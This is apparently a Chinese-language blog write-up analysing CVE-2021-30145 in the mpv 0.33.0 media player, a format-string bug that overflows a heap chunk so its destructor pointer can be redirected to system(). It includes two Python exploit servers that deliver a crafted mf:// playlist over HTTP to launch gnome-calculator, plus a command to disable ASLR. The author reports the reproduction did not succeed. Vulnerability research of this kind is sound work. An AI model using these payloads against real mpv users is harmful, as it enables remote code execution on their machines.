CVE-2021-30145分析与复现

漏洞点分析

CVE-2021-30145出现在mpv0.33.0,该漏洞主要是由格式化字符串漏洞引发的堆溢出,从而造成任意代码执行

格式化字符串

在demux_mf.c的154行sprintf(fname, filename, count++);,将filename格式化输出到fname中,而filename是可控的。输入参数去掉开头的mf://就是filename

在这之前还对filename做过校验,需要开头不为@,不含,,且含有%才会执行到这一步

堆溢出

fname在124行char *fname = talloc_size(mf, strlen(filename) + 32);进行内存分配,分配了filename长度加32的内存空间。由于格式化字符串漏洞的存在,输入到fname中的内容是可以远大于filename的长度的,比如filename="%100d",filename的长度为5,而输入到fname中的内容长度为100,这就造成了堆溢出

另外虽然在Linux系统编译时使用了FORTIFY_SOURCE选项,sprintf被编译成了__sprintf_chk,这个函数有一个参数来表明缓冲区的大小防止缓冲区溢出,并且不能使用%n,但是因为在当前情况下编译器不知道缓冲区的大小,所以这个参数被设置为了0xFFFFFFFFFFFFFFFF,相当于没有做缓冲区溢出的保护。

任意代码执行

在这里内存分配调用的是talloc_size,它将在返回的chunk上方放一个ta_header结构体作为chunk的头部

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct ta_header {
size_t size; // size of the user allocation
// Invariant: parent!=NULL => prev==NULL
struct ta_header *prev; // siblings list (by destructor order)
struct ta_header *next;
// Invariant: parent==NULL || parent->child==this
struct ta_header *child; // points to first child
struct ta_header *parent; // set for _first_ child only, NULL otherwise
void (*destructor)(void *);
#if TA_MEMORY_DEBUGGING
unsigned int canary;
struct ta_header *leak_next;
struct ta_header *leak_prev;
const char *name;
#endif
};

值得关注的是,结构体内有一个destructor函数指针,它将在函数ta_free中被调用

1
2
3
4
5
6
7
8
9
10
11
12
void ta_free(void *ptr)
{
struct ta_header *h = get_header(ptr);
if (!h)
return;
if (h->destructor)
h->destructor(ptr);
ta_free_children(ptr);
ta_set_parent(ptr, NULL);
ta_dbg_remove(h);
free(h);
}

利用上面的堆溢出漏洞可以覆盖下一个chunk的头部的destructor指针,从而执行任意函数。同时还需要绕过一些检查,在函数get_header中会调用ta_dbg_check_header函数对chunk的头进行检查,要求canary==0xD3ADB3EF,并且parent为空即可。

1
2
3
4
5
6
7
8
9
10
static void ta_dbg_check_header(struct ta_header *h)
{
if (h) {
assert(h->canary == CANARY);
if (h->parent) {
assert(!h->prev);
assert(h->parent->child == h);
}
}
}

虽然现在我们可以执行任意函数,但是并不能控制函数的参数。在ta_free中调用了destructor之后又执行了ta_free_children函数,它对child也执行了ta_free函数,如果能伪造一个chunk,将该chunk的地址填入child,就能执行child的destructor,并且child的数据域是可控的,所以就控制了destructor的参数

1
2
3
4
5
6
void ta_free_children(void *ptr)
{
struct ta_header *h = get_header(ptr);
while (h && h->child)
ta_free(PTR_FROM_HEADER(h->child));
}

漏洞利用

本来想用源码编译,就可以有符号调试,但是搞了一天都没搞好,麻了,就将就用无符号的调试吧

使用命令sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"关闭ASLR方便调试

调试比较重要的一个断点就是那个sprintf函数,但是因为没有符号所以不好找,这里我先给__sprintf_chk下断点,然后输入mf://aaaa%d进行调试

I3Boh6.png

然后就一直c,直到跳到目标__sprintf_chk,然后return就可以得到call __sprintf_chk下一条指令的地址,大概要八十几个c

I3BH1O.png

因为关了ALSR所以每次的断点只要下在这个地址就行了

I3B79K.png

exp参考mpv media player – mf custom protocol vulnerability (CVE-2021-30145),利用HTTP响应传playload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()

playlist = b'mf://'
playlist += b'%390c%c%c'
playlist += b'\x58\x1e%4$c\xe4\xff\x7f' # overwriting child addr with fake child

SYSTEM_ADDR = 0x7ffff5c37410
CANARY = 0xD3ADB3EF

fake_chunk = p64(0) # size
fake_chunk += p64(0) # prev
fake_chunk += p64(0) # next
fake_chunk += p64(0) # child
fake_chunk += p64(0) # parent
fake_chunk += p64(SYSTEM_ADDR) # destructor
fake_chunk += p64(CANARY) # canary
fake_chunk += p64(0) # leak_next
fake_chunk += p64(0) # leak_prev
fake_chunk += p64(0) # name

d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'PL: '
d += fake_chunk
d += b'gnome-calculator\x00'
d += b'\r\n'
d += b'\r\n'
d += playlist

c.send(d)
c.close()

但是不知道为啥我的fname的地址每次都不一样,所以复现不出来

本来想到另外一种方法,就是直接溢出到数据部分,就不用利用child的free,无奈也验证不了,理论上应该可行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()

playlist = b'mf://'
playlist += b'%1198c%c%c'
playlist += b'%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c' #parent
playlist += b'\x10\xd4\x01\xf4\xff\x7f%4$c%4$c'#p64(0x7ffff401d410) #destructor=system
playlist += b'\xef\xb3\xad\xd3%4$c%4$c%4$c%4$c'#p64(0xD3ADB3EF) #canary
playlist += b'%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c' #leak_next
playlist += b'%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c' #leak_prev
playlist += b'%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c' #name
playlist += b'gnome-calculator%4$c'

d = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'\r\n'
d += playlist

c.send(d)
c.close()
文章目录
  1. 1. 漏洞点分析
    1. 1.1. 格式化字符串
    2. 1.2. 堆溢出
    3. 1.3. 任意代码执行
  2. 2. 漏洞利用
|